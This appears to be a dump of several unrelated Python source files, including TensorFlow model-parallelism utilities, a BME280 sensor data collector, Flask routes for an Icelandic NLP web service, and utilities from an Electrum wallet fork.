computation_shape = [1, 1, 1, cores_per_chip]
elif split_chips == 2:
computation_shape = [1, 2, 1, cores_per_chip]
elif split_chips == 4:
computation_shape = [2, 2, 1, cores_per_chip]
elif split_chips == 8:
computation_shape = [4, 2, 1, cores_per_chip]
elif split_chips == 12:
computation_shape = [1, 1, 12, cores_per_chip]
elif split_chips == 16:
computation_shape = [4, 4, 1, cores_per_chip]
elif split_chips == 24:
computation_shape = [1, 2, 12, cores_per_chip]
elif split_chips == 32:
if topology and topology_info.mesh_shape[1] == 32:
# Fwd within-replica all-reduces is performed along column;
# Bwd gradient cross-replica all-reduces is performed along row.
# This currently has better performance than the strided patten.
computation_shape = [1, 32, 1, cores_per_chip]
else:
computation_shape = [4, 8, 1, cores_per_chip]
elif split_chips == 64:
computation_shape = [8, 8, 1, cores_per_chip]
elif split_chips == 128:
computation_shape = [8, 16, 1, cores_per_chip]
elif split_chips == 256:
computation_shape = [16, 16, 1, cores_per_chip]
elif split_chips == 512:
computation_shape = [16, 32, 1, cores_per_chip]
elif split_chips == 1024:
computation_shape = [32, 32, 1, cores_per_chip]
elif split_chips == 2048:
computation_shape = [64, 32, 1, cores_per_chip]
elif split_chips == 4096:
computation_shape = [128, 32, 1, cores_per_chip]
else:
assert False, ('Model parallelism with %d devices is currently not'
' supported.' % split_size)
assert computation_shape is not None
return computation_shape
def GetExtraVars():
"""Returns the captured variables by the function."""
g = tf.get_default_graph()
if isinstance(g, func_graph.FuncGraph):
return g.variable_captures
return function.get_extra_vars()
def GetExtraInputs():
"""Returns the captured input tensors by the function."""
g = tf.get_default_graph()
if isinstance(g, func_graph.FuncGraph):
return g.external_captures
return function.get_extra_inputs()
def GetExtraArgs():
"""Returns the corresponding function arguments for the captured inputs."""
g = tf.get_default_graph()
if isinstance(g, func_graph.FuncGraph):
return g.internal_captures
return function.get_extra_args()
def ShardedFilePatternToGlob(file_pattern):
"""Converts a file pattern path@shards to path-?????-of-shards."""
if ',' in file_pattern:
raise ValueError(
'ShardedFilePatternToGlob does not support multiple file patterns.')
if '@' not in file_pattern:
return file_pattern
path, shards = file_pattern.split('@')
if shards == '*':
return f'{path}-?????-of-*'
return f'{path}-?????-of-{int(shards):05}'
def ComputeNceAndAuc(probs, targets, mask):
"""Compute normalized cross entropy and AUC of the PR curve for a batch.
Args:
probs: a tensor of shape [batch, time].
targets: a tensor of shape [batch, time], where each element is either 0 or
1 indicating wrong or correct.
mask: a tensor of shape [batch, time], a mask for hyp sequence.
Returns:
nce: a tensor of shape [1], the normalized cross entropy value.
auc: a tensor of shape [1], the AUC value.
"""
def LogWithClip(tensor, clip_value_min=1e-8):
"""Clip all elements of a tensor to a minimum before taking log."""
return tf.math.log(tf.clip_by_value(tensor, clip_value_min, 1.0))
bce = -targets * LogWithClip(probs) - (1 - targets) * LogWithClip(1 - probs)
num_cor = tf.reduce_sum(targets * mask)
num_tokens = tf.reduce_sum(mask)
wcr = num_cor / num_tokens
entropy = -wcr * LogWithClip(wcr) - (1 - wcr) * LogWithClip(1 - wcr)
avg_conditional_entropy = tf.reduce_mean(tf.boolean_mask(bce, mask))
nce = (entropy - avg_conditional_entropy) / entropy
auc = tf.metrics.auc(targets, probs, mask, curve='PR')[1]
return nce, auc
def GatherTensorValuesBySeqIndices(tensor, class_indices, keepdims=False):
"""Gather values from a 3d tensor according to sequences of indices.
Args:
tensor: a 3d tensor of [dim0, dim1, num_class], e.g. output from softmax.
class_indices: a 2d tensor of [dim0, dim1], where the second dim is a
sequence of class indices between 0 to num_class - 1, inclusive.
keepdims: bool, expand the last dimension of the returned tensor if True.
Returns:
A tensor ret of [dim0, dim1], where
ret[b, t] = tensor[b, t, indices[b, t]].
If keepdims is True, then ret has shape [dim0, dim1, 1].
"""
tensor = HasRank(tensor, 3)
class_indices = HasRank(class_indices, 2)
tensor = HasShape(tensor, GetShape(class_indices), 2)
dim0 = GetShape(class_indices)[0]
dim1 = GetShape(class_indices)[1]
dim0_indices = tf.tile(tf.expand_dims(tf.range(dim0), axis=-1), [1, dim1])
dim1_indices = tf.tile(tf.expand_dims(tf.range(dim1), axis=0), [dim0, 1])
gather_indices = tf.stack([
tf.cast(dim0_indices, dtype=class_indices.dtype),
tf.cast(dim1_indices, dtype=class_indices.dtype), class_indices
],
axis=-1)
ret = tf.gather_nd(tensor, gather_indices)
if keepdims:
ret = tf.expand_dims(ret, axis=-1)
return ret
def GetSoftmaxProbsBySeqIndices(logits, indices, keepdims=False):
"""Get softmax probabilities from index sequences given logits sequences.
Args:
logits: a tensor of [batch, time, num_class] or [time, batch, num_class].
indices: a tensor of [batch, time] or [time, batch].
keepdims: bool, expand the last dimension of the returned tensor if True.
Returns:
a tensor of [batch, time] or [time, batch] for the corresponding softmax
probabilities. If keepdims is True, returned tensor has a third dimension
of size 1.
"""
probs = tf.nn.softmax(logits)
return GatherTensorValuesBySeqIndices(probs, indices, keepdims)
def DivideNoNan(x, y):
"""Equivalent to tf.math.divide_no_nan but supports bfloat16."""
safe_y = tf.where(tf.equal(y, 0.), tf.ones_like(y), y)
return tf.where(tf.equal(y, 0.0), tf.zeros_like(x), x / safe_y)
def SequencePaddings(seqlen, maxlen=None):
mask = tf.sequence_mask(seqlen, maxlen, dtype=tf.float32)
return 1 - mask
def AppendDims(x, ndims):
return tf.reshape(x, GetShape(x) + [1] * ndims)
def MaybeSoftCapLogits(x, cap=0.0):
"""Caps logits x to be within a certain range.
Args:
x: A float tensor, the logit values to be capped.
cap: a float, the limit to cap x within. If cap <= 0.0, x is not capped.
Returns:
logits after capping.
"""
if cap <= 0.0:
return x
else:
return cap * tf.math.tanh(x / cap)
def GetTpuEmbeddingGraphCollection():
"""Return the graph collection that stores the TpuEmbeddingCollection."""
tpu_emb_graph_collection = tf.get_collection_ref('__tpu_embedding_collection')
assert len(tpu_emb_graph_collection) <= 1
return tpu_emb_graph_collection
class AuxLossContext:
"""Context that holds a list of aux-losses.
By default it is non-reentrant, but can be specified as reentrant explicitly
when creating an inner context.
"""
_global_stack = []
@classmethod
def Current(cls):
"""Returns current context or None."""
if cls._global_stack:
return cls._global_stack[-1]
else:
return None
def __init__(self, reentrant=False):
self.aux_loss_tensors = []
self._reentrant = reentrant
def AddLoss(self, loss):
self.aux_loss_tensors.append(loss)
@property
def aux_losses(self):
return self.aux_loss_tensors
def __enter__(self):
if not self._reentrant:
assert not self._global_stack, 'no re-entry'
self._global_stack.append(self)
return self
def __exit__(self, *args):
self._global_stack.pop()
def GetTrainableVariables(scope, bprop_variable_filter,
bprop_variable_exclusion, vmap):
"""Returns trainable vars.
Args:
scope: A Python str.
bprop_variable_filter: see BaseTask.Params().bprop_variable_filter.
bprop_variable_exclusion: see BaseTask.Params().bprop_variable_exclusion.
vmap: A NestedMap of var_path(str) -> tf Variable.
Returns:
A filtered NestedMap of var_path(str) -> trainable tf Variable.
"""
pos = re.compile(bprop_variable_filter) if bprop_variable_filter else None
neg = re.compile(
bprop_variable_exclusion) if bprop_variable_exclusion else None
def VariableFilter(v):
"""Returns True if variable v should be optimized by this learner."""
if not v.trainable:
return False
if pos and not pos.search(v.name):
tf.logging.info('%s: disabled by bprop_variable_filter: %s', scope,
v.name)
return False
if neg and neg.search(v.name):
tf.logging.info('%s: disabled by bprop_variable_exclusion: %s', scope,
v.name)
return False
return True
return vmap.Filter(VariableFilter)
|
collector.py | import collections
import datetime
import gzip
import json
import logging
import time
import threading
import BME280
LOG = logging.getLogger('collector')
class Device:
def __init__(self):
self.bme = BME280.BME280(
'/dev/i2c-1',
# forced mode would be better
p_mode=0x03,
# 2x oversample
h_samp=0x02, p_samp=0x02, t_samp=0x02
)
# put it in sleep
self.bme.set_power_mode(0x00)
def read(self):
# wake up
self.bme.set_power_mode(0x03)
time.sleep(0.1)
press = self.bme.read_pressure()
if str(press) == "67638.19849463052":
LOG.info("Device is in reset, restart it.")
self.bme.set_power_mode(0x00)
time.sleep(0.1)
self.bme.set_power_mode(0x03)
temp = self.bme.read_temperature()
hum = self.bme.read_humidity()
press = self.bme.read_pressure()
# put it in sleep
self.bme.set_power_mode(0x00)
return temp, hum, press
class Store:
def __init__(self, nr_of_data=2*24*60*2):
self.lock = threading.RLock()
self.deque = collections.deque(maxlen=nr_of_data)
def store(self, data):
with self.lock:
self.deque.append(data)
def save(self):
with gzip.open("data.save.gz", "wt", encoding="utf-8") as f:
json.dump(self.read(), f)
LOG.info("Saved data to disk")
def load(self):
try:
with gzip.open("data.save.gz", "rt", encoding="utf-8") as f:
data = json.load(f)
except Exception as e:
LOG.info("Loading no saved data due to " + str(e))
# no saved data
data = []
with self.lock:
self.deque.clear()
self.deque.extend(data)
LOG.info(
f"Data store initialized with {len(self.deque)} data points")
def read(self):
with self.lock:
return list(self.deque)
class Collector:
def __init__(self, device: Device, store: Store):
self.dev = device
self.store = store
self.thread = threading.Thread(target=self._run)
self.last_saved = datetime.datetime.now()
self.stop_event = threading.Event()
def start(self):
self.thread.start()
LOG.info("Collector started")
def stop(self):
self.stop_event.set()
def _run(self):
i = 0
while True:
stop = self.stop_event.wait(30)
if stop:
LOG.info("Stopping")
self.store.save()
return
try:
data = self.dev.read()
except OSError as e:
LOG.info("ignoring: " + str(e))
self.stop_event.wait(5)
continue
data = (str(datetime.datetime.now()), *data)
self.store.store(data)
i += 1
# log temp to syslog every 5 minutes
if i == 10:
i = 0
LOG.info(
f"temp={data[1]}, hum={data[2]}, press={data[3]}")
# save data to disk daily
if (
datetime.datetime.now() - self.last_saved
> datetime.timedelta(days=1)
):
self.store.save()
self.last_saved = datetime.datetime.now()
|
__init__.py | """
Greynir: Natural language processing for Icelandic
Copyright (C) 2021 Miðeind ehf.
This software is licensed under the MIT License:
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, merge,
publish, distribute, sublicense, and/or sell copies of the Software,
and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
This module contains all routes for the Yfirlestur.is Flask web application.
It also contains a number of utility functions and decorators,
including @async_task which encapsulates a route in an asynchronous
wrapper.
"""
from typing import TYPE_CHECKING, Tuple, Dict, Any, Callable, Optional, cast
import threading
import time
import uuid
import json
from functools import wraps
from datetime import datetime, timedelta
from flask import (
Blueprint,
jsonify,
make_response,
current_app,
Request,
Response,
abort,
request,
url_for,
)
from flask import _request_ctx_stack # type: ignore
from flask.ctx import RequestContext
from werkzeug.datastructures import FileStorage
from werkzeug.exceptions import HTTPException, InternalServerError
ProgressFunc = Callable[[float], None]
# Maximum length of incoming GET/POST parameters
_MAX_TEXT_LENGTH = 16384
_MAX_TEXT_LENGTH_VIA_URL = 512
_TRUTHY = frozenset(("true", "1", "yes"))
cache = current_app.config["CACHE"]
routes: Blueprint = Blueprint("routes", __name__)
def max_age(
seconds: int,
) -> Callable[[Callable[[Any], Any]], Callable[[Any], Response]]:
""" Caching decorator for Flask - augments response
with a max-age cache header """
def decorator(f: Callable[[Any], Any]) -> Callable[[Any], Response]:
@wraps(f)
def decorated_function(*args: Any, **kwargs: Any) -> Response:
resp = f(*args, **kwargs) # type: ignore
if not isinstance(resp, Response):
resp = make_response(resp)
resp.cache_control.max_age = seconds # type: ignore
return resp
return decorated_function
return decorator
def restricted(f: Callable[[Any], Response]) -> Callable[[Any], Response]:
""" Decorator to return 403 Forbidden if not running in debug mode """
@wraps(f)
def decorated_function(*args: Any, **kwargs: Any) -> Response:
if not current_app.config["DEBUG"]:
return abort(403)
return f(*args, **kwargs) # type: ignore
return decorated_function
def bool_from_request(rq: Request, name: str, default: bool = False) -> bool:
""" Get a boolean from JSON encoded in a request form """
b = rq.form.get(name)
if b is None:
b = rq.args.get(name)
if b is None:
# Not present in the form: return the default
return default
return isinstance(b, str) and b.lower() in _TRUTHY
def better_jsonify(**kwargs: Any) -> Response:
""" Ensure that the Content-Type header includes 'charset=utf-8' """
resp: Response = jsonify(**kwargs)
resp.headers["Content-Type"] = "application/json; charset=utf-8"
return resp
def text_from_request(
rq: Request, *, post_field: Optional[str] = None, get_field: Optional[str] = None
) -> str:
""" Return text passed in a HTTP request, either using GET or POST.
When using GET, the default parameter name is 't'. This can
be overridden using the get_field parameter.
When using POST, the default form field name is 'text'. This can
be overridden using the post_field parameter.
"""
if rq.method == "POST":
if rq.headers.get("Content-Type") == "text/plain":
# Accept plain text POSTs, UTF-8 encoded.
# Example usage:
# curl -d @example.txt https://greynir.is/postag.api \
# --header "Content-Type: text/plain"
text = rq.data.decode("utf-8")
else:
# Also accept form/url-encoded requests:
# curl -d "text=Í dag er ágætt veður en mikil hálka er á götum." \
# https://greynir.is/postag.api
text = rq.form.get(post_field or "text", "")
text = text[0:_MAX_TEXT_LENGTH]
elif rq.method == "GET":
text = rq.args.get(get_field or "t", "")[0:_MAX_TEXT_LENGTH_VIA_URL]
else:
# Unknown/unsupported method
text = ""
return text
# The following asynchronous support code is adapted from Miguel Grinberg's
# PyCon 2016 "Flask at Scale" tutorial: https://github.com/miguelgrinberg/flack
# A dictionary of currently living tasks
_tasks: Dict[str, Dict[str, Any]] = dict()
_tasks_lock = threading.Lock()
def fancy_url_for(*args: Any, **kwargs: Any) -> str:
""" url_for() replacement that works even when there is no request context """
if "_external" not in kwargs:
kwargs["_external"] = False
reqctx: Any = _request_ctx_stack.top # type: ignore
if reqctx is None:
if kwargs["_external"]:
raise RuntimeError(
"Cannot generate external URLs without a request context."
)
with current_app.test_request_context():
return url_for(*args, **kwargs)
return url_for(*args, **kwargs)
# Mypy/Pylance shenanigans for type checking of @routes.before_app_first_request
FirstRequestFunc = Callable[[], None]
before_app_first_request = cast(
Callable[[FirstRequestFunc], FirstRequestFunc],
cast(Any, routes).before_app_first_request,
)
@before_app_first_request
def before_first_request() -> None:
""" Start a background thread that cleans up old tasks """
def clean_old_tasks() -> None:
""" This function cleans up old tasks from an in-memory data structure """
global _tasks
while True:
# Only keep tasks that are running or
# that finished less than 5 minutes ago
five_min_ago = datetime.utcnow() - timedelta(minutes=5)
with _tasks_lock:
_tasks = {
task_id: task
for task_id, task in _tasks.items()
if "t" not in task or task["t"] > five_min_ago
}
time.sleep(60)
# Don't start the cleanup thread if we're only running tests
if not current_app.config["TESTING"]:
thread = threading.Thread(target=clean_old_tasks)
thread.start()
class _FileProxy:
""" A hack that implements an in-memory proxy object for a Werkzeug FileStorage
instance, enabling it to be passed between threads """
def __init__(self, fs: FileStorage):
# Initialize the file proxy object from a Werkzeug FileStorage instance,
# cf. https://werkzeug.palletsprojects.com/en/1.0.x/datastructures/#werkzeug.datastructures.FileStorage
self._mimetype = fs.mimetype
self._mimetype_params = fs.mimetype_params
self._content_type = fs.content_type
# !!! Note: this reads the entire file stream into memory.
# !!! A fancier method using temporary files could be applied here
# !!! when and if needed.
self._bytes = fs.read()
@property
def mimetype(self) -> str:
return self._mimetype
@property
def mimetype_params(self) -> Dict[str, str]:
return self._mimetype_params
@property
def content_type(self) -> Optional[str]:
return self._content_type
def read(self) -> bytes:
return self._bytes
class _RequestProxy:
""" A hack to emulate a Flask Request object with a data structure
that can be passed safely between threads, while retaining
the ability to read uploaded files and form data """
def __init__(self, rq: Request) -> None:
""" Create an instance that walks and quacks sufficiently similarly
to the Flask Request object in rq """
self.method = rq.method
self.headers: Dict[str, Any] = {k: v for k, v in rq.headers} # type: ignore
self.environ = rq.environ
self.blueprint = rq.blueprint
self.progress_func: Optional[ProgressFunc] = None
self.form: Dict[str, Any]
self.data: bytes
if rq.method == "POST":
# Copy POSTed data between requests
if rq.headers.get("Content-Type") == "text/plain":
# Text data
self.data = rq.data
self.form = dict()
else:
# Form data
self.data = b""
self.form = rq.form.copy() # type: ignore
else:
# GET request, no data needs to be copied
self.data = b""
self.form = dict()
# Copy URL arguments
self.args: Dict[str, Any] = rq.args.copy() # type: ignore
# Make a copy of the passed-in files, if any, so that they
# can be accessed and processed offline (after the original
# request has been completed and temporary files deleted)
self.files: Dict[str, _FileProxy] = {k: _FileProxy(v) for k, v in rq.files.items()} # type: ignore
def set_progress_func(self, progress_func: ProgressFunc) -> None:
""" Set a function to call during processing of asynchronous requests """
self.progress_func = progress_func
def async_task(f: Callable[[Any], Response]) -> Callable[[Any], Tuple[Any, ...]]:
""" This decorator transforms a sync route into an asynchronous one
by running it in a background thread """
@wraps(f)
def wrapped(*args: Any, **kwargs: Any) -> Tuple[Any, ...]:
# Assign a unique id to each asynchronous task
task_id = uuid.uuid4().hex
def progress(ratio: float) -> None:
""" Function to call from the worker task to indicate progress. """
# ratio is a float from 0.0 (just started) to 1.0 (finished)
_tasks[task_id]["progress"] = ratio
def task(app: Any, rq: Request) -> None:
""" Run the decorated route function in a new thread """
this_task = _tasks[task_id]
# Pretty ugly hack, but no better solution is apparent:
# Create a fresh Flask RequestContext object, wrapping our
# custom _RequestProxy object that can be safely passed between threads
with RequestContext(app, rq.environ, request=rq):
try:
# Run the original route function and record
# the response (return value)
rq.set_progress_func(progress) # type: ignore
this_task["rv"] = f(*args, **kwargs) # type: ignore
except HTTPException as e:
this_task["rv"] = current_app.handle_http_exception(e) # type: ignore
except Exception as e:
# The function raised an exception, so we set a 500 error
this_task["rv"] = InternalServerError()
if current_app.debug:
# We want to find out if something happened, so reraise
raise
finally:
# We record the time of the response, to help in garbage
# collecting old tasks
this_task["t"] = datetime.utcnow()
# Record the task, and then launch it
with _tasks_lock:
_tasks[task_id] = dict(progress=0.0)
# Create our own request proxy object that can be safely
# passed between threads, keeping the form data and uploaded files
# intact and available even after the original request has been closed
rq = _RequestProxy(request)
new_task = threading.Thread(
target=task, args=(current_app._get_current_object(), rq), # type: ignore
)
new_task.start()
# After starting the task on a new thread, we return a 202 response,
# with a link in the 'Location' header that the client can use
# to obtain task status
return (
json.dumps(dict(progress=0.0)),
202, # ACCEPTED
{
"Location": fancy_url_for("routes.get_task_status", task=task_id),
"Content-Type": "application/json; charset=utf-8",
},
)
return wrapped
@routes.route("/task_status/<task>", methods=["GET"])
def get_task_status(task: str) -> Tuple[str, int, Dict[str, Any]]:
""" Return the status of an asynchronous task. If this request returns a
202 ACCEPTED status code, it means that task hasn't finished yet.
Else, the response from the task is returned (normally with a
200 OK status). """
task_id = task
with _tasks_lock:
t = _tasks.get(task_id)
if t is None:
abort(404)
if "rv" in t:
# Task completed
return t["rv"]
# Not completed: report progress
return (
json.dumps(dict(progress=t["progress"])),
202, # ACCEPTED
{
"Location": fancy_url_for("routes.get_task_status", task=task_id),
"Content-Type": "application/json; charset=utf-8",
},
)
# Import routes from other files
if not TYPE_CHECKING:
from .api import *
from .main import *
|
util.py | #!/usr/bin/env python
#
# Electrum - lightweight Bitcoin client
# Copyright (C) 2011 Thomas Voegtlin
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including without limitation the rights to use, copy, modify, merge,
# publish, distribute, sublicense, and/or sell copies of the Software,
# and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import os, sys, re, json
import platform
import shutil
from collections import defaultdict
from datetime import datetime
from decimal import Decimal
import traceback
import urlparse
import urllib
import threading
from i18n import _
base_units = {'FUNK':8, 'FUNK':8, 'FUNK':8}
fee_levels = [_('Within 25 blocks'), _('Within 10 blocks'), _('Within 5 blocks'), _('Within 2 blocks'), _('In the next block')]
def normalize_version(v):
return [int(x) for x in re.sub(r'(\.0+)*$','', v).split(".")]
class NotEnoughFunds(Exception): pass
class InvalidPassword(Exception):
def __str__(self):
return _("Incorrect password")
# Throw this exception to unwind the stack like when an error occurs.
# However unlike other exceptions the user won't be informed.
class UserCancelled(Exception):
'''An exception that is suppressed from the user'''
pass
class MyEncoder(json.JSONEncoder):
def default(self, obj):
from transaction import Transaction
if isinstance(obj, Transaction):
return obj.as_dict()
return super(MyEncoder, self).default(obj)
class PrintError(object):
'''A handy base class'''
def diagnostic_name(self):
return self.__class__.__name__
def print_error(self, *msg):
print_error("[%s]" % self.diagnostic_name(), *msg)
def print_msg(self, *msg):
print_msg("[%s]" % self.diagnostic_name(), *msg)
class ThreadJob(PrintError):
"""A job that is run periodically from a thread's main loop. run() is
called from that thread's context.
"""
def run(self):
"""Called periodically from the thread"""
pass
class DebugMem(ThreadJob):
'''A handy class for debugging GC memory leaks'''
def __init__(self, classes, interval=30):
self.next_time = 0
self.classes = classes
self.interval = interval
def mem_stats(self):
import gc
self.print_error("Start memscan")
gc.collect()
objmap = defaultdict(list)
for obj in gc.get_objects():
for class_ in self.classes:
if isinstance(obj, class_):
objmap[class_].append(obj)
for class_, objs in objmap.items():
self.print_error("%s: %d" % (class_.__name__, len(objs)))
self.print_error("Finish memscan")
def run(self):
if time.time() > self.next_time:
self.mem_stats()
self.next_time = time.time() + self.interval
class DaemonThread(threading.Thread, PrintError):
""" daemon thread that terminates cleanly """
def __init__(self):
threading.Thread.__init__(self)
self.parent_thread = threading.currentThread()
self.running = False
self.running_lock = threading.Lock()
self.job_lock = threading.Lock()
self.jobs = []
def add_jobs(self, jobs):
with self.job_lock:
self.jobs.extend(jobs)
def run_jobs(self):
# Don't let a throwing job disrupt the thread, future runs of
# itself, or other jobs. This is useful protection against
# malformed or malicious server responses
with self.job_lock:
for job in self.jobs:
try:
job.run()
except:
traceback.print_exc(file=sys.stderr)
def remove_jobs(self, jobs):
with self.job_lock:
for job in jobs:
self.jobs.remove(job)
def start(self):
with self.running_lock:
self.running = True
return threading.Thread.start(self)
def is_running(self):
with self.running_lock:
return self.running and self.parent_thread.is_alive()
def stop(self):
with self.running_lock:
self.running = False
def on_stop(self):
if 'ANDROID_DATA' in os.environ:
import jnius
jnius.detach()
self.print_error("jnius detach")
self.print_error("stopped")
is_verbose = False
def set_verbosity(b):
global is_verbose
is_verbose = b
def print_error(*args):
if not is_verbose: return
print_stderr(*args)
def print_stderr(*args):
args = [str(item) for item in args]
sys.stderr.write(" ".join(args) + "\n")
sys.stderr.flush()
def print_msg(*args):
# Stringify args
args = [str(item) for item in args]
sys.stdout.write(" ".join(args) + "\n")
sys.stdout.flush()
def json_encode(obj):
try:
s = json.dumps(obj, sort_keys = True, indent = 4, cls=MyEncoder)
except TypeError:
s = repr(obj)
return s
def json_decode(x):
try:
return json.loads(x, parse_float=decimal.Decimal)
except:
return x
# decorator that prints execution time
def profiler(func):
def do_profile(func, args, kw_args):
n = func.func_name
t0 = time.time()
o = func(*args, **kw_args)
t = time.time() - t0
print_error("[profiler]", n, "%.4f"%t)
return o
return lambda *args, **kw_args: do_profile(func, args, kw_args)
def android_ext_dir():
import jnius
env = jnius.autoclass('android.os.Environment')
return env.getExternalStorageDirectory().getPath()
def android_data_dir():
import jnius
PythonActivity = jnius.autoclass('org.kivy.android.PythonActivity')
return PythonActivity.mActivity.getFilesDir().getPath() + '/data'
def android_headers_path():
path = android_ext_dir() + '/org.electrum.electrum/blockchain_headers'
d = os.path.dirname(path)
if not os.path.exists(d):
os.mkdir(d)
return path
def android_check_data_dir():
""" if needed, move old directory to sandbox """
ext_dir = android_ext_dir()
data_dir = android_data_dir()
old_electrum_dir = ext_dir + '/electrum'
if not os.path.exists(data_dir) and os.path.exists(old_electrum_dir):
import shutil
new_headers_path = android_headers_path()
old_headers_path = old_electrum_dir + '/blockchain_headers'
if not os.path.exists(new_headers_path) and os.path.exists(old_headers_path):
print_error("Moving headers file to", new_headers_path)
shutil.move(old_headers_path, new_headers_path)
print_error("Moving data to", data_dir)
shutil.move(old_electrum_dir, data_dir)
return data_dir
def get_headers_path(config):
if 'ANDROID_DATA' in os.environ:
return android_headers_path()
else:
return os.path.join(config.path, 'blockchain_headers')
def user_dir():
if "HOME" in os.environ:
return os.path.join(os.environ["HOME"], ".electrum-funk")
elif "APPDATA" in os.environ:
return os.path.join(os.environ["APPDATA"], "Electrum-funk")
elif "LOCALAPPDATA" in os.environ:
return os.path.join(os.environ["LOCALAPPDATA"], "Electrum-funk")
elif 'ANDROID_DATA' in os.environ:
return android_check_data_dir()
else:
#raise Exception("No home directory found in environment variables.")
return
def format_satoshis_plain(x, decimal_point = 8):
'''Display a satoshi amount scaled. Always uses a '.' as a decimal
point and has no thousands separator'''
scale_factor = pow(10, decimal_point)
return "{:.8f}".format(Decimal(x) / scale_factor).rstrip('0').rstrip('.')
def format_satoshis(x, is_diff=False, num_zeros = 0, decimal_point = 8, whitespaces=False):
from locale import localeconv
if x is None:
return 'unknown'
x = int(x) # Some callers pass Decimal
scale_factor = pow (10, decimal_point)
integer_part = "{:n}".format(int(abs(x) / scale_factor))
if x < 0:
integer_part = '-' + integer_part
elif is_diff:
integer_part = '+' + integer_part
dp = localeconv()['decimal_point']
fract_part = ("{:0" + str(decimal_point) + "}").format(abs(x) % scale_factor)
fract_part = fract_part.rstrip('0')
if len(fract_part) < num_zeros:
fract_part += "0" * (num_zeros - len(fract_part))
result = integer_part + dp + fract_part
if whitespaces:
result += " " * (decimal_point - len(fract_part))
result = " " * (15 - len(result)) + result
return result.decode('utf8')
def timestamp_to_datetime(timestamp):
try:
return datetime.fromtimestamp(timestamp)
except:
return None
def format_time(timestamp):
date = timestamp_to_datetime(timestamp)
return date.isoformat(' ')[:-3] if date else _("Unknown")
# Takes a timestamp and returns a string with the approximation of the age
def age(from_date, since_date = None, target_tz=None, include_seconds=False):
if from_date is None:
return "Unknown"
from_date = datetime.fromtimestamp(from_date)
if since_date is None:
since_date = datetime.now(target_tz)
td = time_difference(from_date - since_date, include_seconds)
return td + " ago" if from_date < since_date else "in " + td
def time_difference(distance_in_time, include_seconds):
#distance_in_time = since_date - from_date
distance_in_seconds = int(round(abs(distance_in_time.days * 86400 + distance_in_time.seconds)))
distance_in_minutes = int(round(distance_in_seconds/60))
if distance_in_minutes <= 1:
if include_seconds:
for remainder in [5, 10, 20]:
if distance_in_seconds < remainder:
return "less than %s seconds" % remainder
if distance_in_seconds < 40:
return "half a minute"
elif distance_in_seconds < 60:
return "less than a minute"
else:
return "1 minute"
else:
if distance_in_minutes == 0:
return "less than a minute"
else:
return "1 minute"
elif distance_in_minutes < 45:
return "%s minutes" % distance_in_minutes
elif distance_in_minutes < 90:
return "about 1 hour"
elif distance_in_minutes < 1440:
return "about %d hours" % (round(distance_in_minutes / 60.0))
elif distance_in_minutes < 2880:
return "1 day"
elif distance_in_minutes < 43220:
return "%d days" % (round(distance_in_minutes / 1440))
elif distance_in_minutes < 86400:
return "about 1 month"
elif distance_in_minutes < 525600:
return "%d months" % (round(distance_in_minutes / 43200))
elif distance_in_minutes < 1051200:
return "about 1 year"
else:
return "over %d years" % (round(distance_in_minutes / 525600))
block_explorer_info = {
'cryptoid Chainz': ('https://chainz.cryptoid.info/funk/',
{'tx': 'tx.dws?', 'addr': 'address.dws?'}),
'system default': ('https://chainz.cryptoid.info/funk/',
{'tx': 'tx.dws?', 'addr': 'address.dws?'}),
}
def block_explorer(config):
return config.get('block_explorer', 'cryptoid Chainz')
def block_explorer_tuple(config):
return block_explorer_info.get(block_explorer(config))
def block_explorer_URL(config, kind, item):
be_tuple = block_explorer_tuple(config)
if not be_tuple:
return
kind_str = be_tuple[1].get(kind)
if not kind_str:
return
url_parts = [be_tuple[0], kind_str, item]
return "".join(url_parts)
# URL decode
#_ud = re.compile('%([0-9a-hA-H]{2})', re.MULTILINE)
#urldecode = lambda x: _ud.sub(lambda m: chr(int(m.group(1), 16)), x)
def parse_URI(uri, on_pr=None):
import bitcoin
from bitcoin import COIN
if ':' not in uri:
if not bitcoin.is_address(uri):
raise BaseException("Not a cypherfunk address")
return {'address': uri}
u = urlparse.urlparse(uri)
if u.scheme != 'cypherfunk':
raise BaseException("Not a cypherfunk URI")
address = u.path
# python for android fails to parse query
if address.find('?') > 0:
address, query = u.path.split('?')
pq = urlparse.parse_qs(query)
else:
pq = urlparse.parse_qs(u.query)
for k, v in pq.items():
if len(v)!=1:
raise Exception('Duplicate Key', k)
out = {k: v[0] for k, v in pq.items()}
if address:
if not bitcoin.is_address(address):
raise BaseException("Invalid cypherfunk address:" + address)
out['address'] = address
if 'amount' in out:
am = out['amount']
m = re.match('([0-9\.]+)X([0-9])', am)
if m:
k = int(m.group(2)) - 8
amount = Decimal(m.group(1)) * pow( Decimal(10) , k)
else:
amount = Decimal(am) * COIN
out['amount'] = int(amount)
if 'message' in out:
out['message'] = out['message'].decode('utf8')
out['memo'] = out['message']
